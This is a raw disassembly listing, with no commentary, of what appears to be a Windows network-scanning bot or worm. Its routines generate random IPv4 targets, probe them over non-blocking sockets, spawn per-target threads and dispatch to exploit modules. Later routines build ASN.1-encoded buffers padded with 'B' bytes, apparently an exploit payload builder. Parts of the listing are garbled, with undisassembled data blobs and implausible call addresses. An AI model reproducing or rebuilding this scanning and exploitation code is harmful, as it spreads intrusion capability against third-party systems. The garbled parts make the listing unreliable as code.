		jmp	short loc_40C348
; ---------------------------------------------------------------------------

loc_40C2D7:				; CODE XREF: sub_40C2AF+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE3
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C304
		call	sub_41C2C2
		mov	[ebp+var_C], eax

loc_40C304:				; CODE XREF: sub_40C2AF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C311
		call	sub_41C2C2
		mov	[ebp+var_8], eax

loc_40C311:				; CODE XREF: sub_40C2AF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C31E
		call	sub_41C2C2
		mov	[ebp+var_4], eax

loc_40C31E:				; CODE XREF: sub_40C2AF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C32A
		call	sub_41C2C2

loc_40C32A:				; CODE XREF: sub_40C2AF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CBB30[ecx*8], eax

loc_40C348:				; CODE XREF: sub_40C2AF+26j
		pop	esi
		leave
		retn
sub_40C2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C34B	proc near		; CODE XREF: ___:0040BBBEp
					; sub_40C3E8+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CBA64
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C374
		xor	eax, eax
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------

loc_40C374:				; CODE XREF: sub_40C34B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB9E4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA80
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB98C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB9CC
		push	esi
		mov	edi, eax
		call	dword_4CBA7C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_40C3E3:				; CODE XREF: sub_40C34B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C34B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3E8	proc near		; DATA XREF: sub_40C3E8+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26A0861h
		push	eax
		call	sub_41C2B8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_40C42F:				; CODE XREF: sub_40C3E8+204j
		mov	eax, dword_43E924[ebx]
		cmp	dword_4CBB34[eax*8], 0
		jz	loc_40C5F1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C459
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C2AF
		pop	ecx
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------

loc_40C459:				; CODE XREF: sub_40C3E8+60j
		call	sub_40C267

loc_40C45E:				; CODE XREF: sub_40C3E8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E924[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E74
		push	eax
		call	sub_41C266
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E720[ebx]
		push	eax
		call	sub_41C266
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C34B
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C5E1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C535
		push	offset dword_4CDB30
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E4C
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C517
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C50B
		lea	eax, [ebp+var_140]

loc_40C50B:				; CODE XREF: sub_40C3E8+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409869
		add	esp, 14h

loc_40C517:				; CODE XREF: sub_40C3E8+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415D38
		mov	[esp+29Ch+var_29C], offset dword_4CDB30
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C5E1
; ---------------------------------------------------------------------------

loc_40C535:				; CODE XREF: sub_40C3E8+D0j
		push	edi
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C57A
		lea	eax, [ebp+var_140]

loc_40C57A:				; CODE XREF: sub_40C3E8+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43180C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40C5E1:				; CODE XREF: sub_40C3E8+C6j
					; sub_40C3E8+148j
		push	7D0h
		nop
		call	near ptr 2680F3Dh
		jmp	loc_40C42F
; ---------------------------------------------------------------------------

loc_40C5F1:				; CODE XREF: sub_40C3E8+55j
		push	esi
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 26F0000h

loc_40C600:				; DATA XREF: sub_401ACD+1F2Ao
					; sub_401ACD+5B7Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CBA24
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CBB30[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD91
		push	0Bh
		call	sub_40B602
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6CE
		mov	esi, offset dword_4CDB30
		push	esi
		nop
		call	near ptr 26F06FFh
		push	80000400h
		push	esi
		call	near ptr 26F0585h
		nop
		test	eax, eax
		jnz	short loc_40C6CE
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F58
		push	eax
		call	sub_41C266
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C6B8
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h

loc_40C6B8:				; CODE XREF: sub_40C3E8+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40C6CE:				; CODE XREF: sub_40C3E8+27Bj
					; sub_40C3E8+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427080
		mov	edi, ebx
		mov	dword_4CBB34[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C79B

loc_40C6EC:				; CODE XREF: sub_40C3E8+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F24
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E924[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3E8
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40C766

loc_40C75B:				; CODE XREF: sub_40C3E8+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C78D
		push	1Eh
		call	esi
		jmp	short loc_40C75B
; ---------------------------------------------------------------------------

loc_40C766:				; CODE XREF: sub_40C3E8+371j
		call	near ptr 269096Bh
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EEC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		add	esp, 10h

loc_40C78D:				; CODE XREF: sub_40C3E8+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6EC

loc_40C79B:				; CODE XREF: sub_40C3E8+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C845
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_40C7B0:				; CODE XREF: sub_40C3E8+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CBB30[eax*8]
		push	eax
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EAC
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h

loc_40C7FE:				; CODE XREF: sub_40C3E8+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CBB34[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B602
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C835
		push	offset dword_4CDB30
		call	near ptr 26F06FFh
		nop

loc_40C835:				; CODE XREF: sub_40C3E8+440j
		push	[ebp+var_2C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_40C845:				; CODE XREF: sub_40C3E8+3B6j
					; sub_40C3E8+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CBB34[eax*8], 1
		jnz	loc_40C7B0
		push	7D0h
		call	esi
		jmp	short loc_40C845
sub_40C3E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C85F	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB9E4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CBA64
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C91D
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB98C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E92C[ecx], esi
		jz	short loc_40C91D
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CBA70
		push	eax
		mov	edi, offset dword_4CE4F4
		push	offset dword_431F8C
		push	edi
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409869
		push	edi
		call	sub_415D38
		add	esp, 28h

loc_40C91D:				; CODE XREF: sub_40C85F+5Dj
					; sub_40C85F+7Ej
		push	esi
		call	dword_4CBA7C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C85F	endp

; ---------------------------------------------------------------------------
dword_40C92C	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+5F60o
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0BA7015FFh, 8D50004Ch, 0FFFECC85h
		dd 1FB468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0E7200500h, 0E8500043h
		dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C85Fh, 4DE85757h, 90022836h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 3632E8FCh, 0FF900226h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB90Ch
		dd 45895040h, 0E015FF08h, 89004CB9h, 458D0845h,	50046A08h
		dd 50E0458Dh, 1030BE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40CA1D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5C80o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 7015FFE4h, 50004CBAh, 0FED0858Dh,	868FFFFh
		dd 50004320h, 0F7FDE8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 20050000h,	500043E7h, 0F547E8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h,	90575700h
		dd 28355BE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 41E80875h, 90022635h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 7015FFE4h, 50004CBAh, 0FED0858Dh,	0DC68FFFFh
		dd 5000431Fh, 0F76DE8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40CB2A	proc near		; CODE XREF: sub_40CD9E+Ep
					; sub_40CD9E+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB34	proc near		; CODE XREF: sub_40CD9E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB66
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CD20
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_40CB66:				; CODE XREF: sub_40CB34+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB6E	proc near		; CODE XREF: sub_40CC68+18p
					; sub_40CCE2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBBA
		push	edi
		push	0
		push	esi
		call	sub_41BF70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CD20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40CBBA:				; CODE XREF: sub_40CB6E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC68+5Ep
					; sub_40CC68+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBD3
		push	eax
		call	sub_41BA91
		pop	ecx

loc_40CBD3:				; CODE XREF: sub_40CBC3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBDC	proc near		; CODE XREF: sub_40CC68+20p
					; sub_40CD43+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CC09
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC0D

loc_40CC09:				; CODE XREF: sub_40CBDC+Dj
		xor	al, al
		jmp	short loc_40CC64
; ---------------------------------------------------------------------------

loc_40CC0D:				; CODE XREF: sub_40CBDC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC32
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC4C
; ---------------------------------------------------------------------------

loc_40CC32:				; CODE XREF: sub_40CBDC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40CC4C:				; CODE XREF: sub_40CBDC+54j
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA91
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40CC64:				; CODE XREF: sub_40CBDC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC68	proc near		; CODE XREF: sub_40CD9E+89p
					; sub_40CD9E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CB89C
		call	sub_40CB6E
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CCA2
		xor	al, al
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------

loc_40CCA2:				; CODE XREF: sub_40CC68+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CD20
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBC3
		mov	al, 1

loc_40CCDE:				; CODE XREF: sub_40CC68+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE2	proc near		; CODE XREF: sub_40CD16+14p
					; sub_40CD33+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD16	proc near		; CODE XREF: sub_40CD9E+F0p
					; sub_40CD9E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCE2
		pop	esi
		retn	4
sub_40CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD33	proc near		; CODE XREF: sub_40CD7F+Bp
					; sub_40CD9E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCE2
		retn	8
sub_40CD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD43	proc near		; CODE XREF: sub_40CD7F+16p
					; sub_40CD9E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBDC
		test	al, al
		jz	short loc_40CD7C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC90
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_40CD7C:				; CODE XREF: sub_40CD43+Fj
		pop	esi
		leave
		retn
sub_40CD43	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD7F	proc near		; CODE XREF: sub_40CD9E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD33
		test	al, al
		jz	short loc_40CD9A
		mov	ecx, esi
		call	sub_40CD43

loc_40CD9A:				; CODE XREF: sub_40CD7F+12j
		pop	esi
		retn	8
sub_40CD7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD9E	proc near		; CODE XREF: ___:0040D625p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB2A
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0F2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0F2
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB2A
		lea	ecx, [ebp+var_20]
		call	sub_40CB2A
		lea	ecx, [ebp+var_50]
		call	sub_40CB2A
		lea	ecx, [ebp+var_18]
		call	sub_40CB2A
		lea	ecx, [ebp+var_40]
		call	sub_40CB2A
		lea	ecx, [ebp+var_38]
		call	sub_40CB2A
		lea	ecx, [ebp+var_28]
		call	sub_40CB2A
		push	4
		push	offset dword_432040
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		push	3
		push	offset dword_432048
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		lea	ecx, [ebp+var_30]
		call	sub_40CC68
		lea	ecx, [ebp+var_30]
		call	sub_40CD43
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "░B░B░B░B"
		call	sub_40CCE2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCE2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCE2
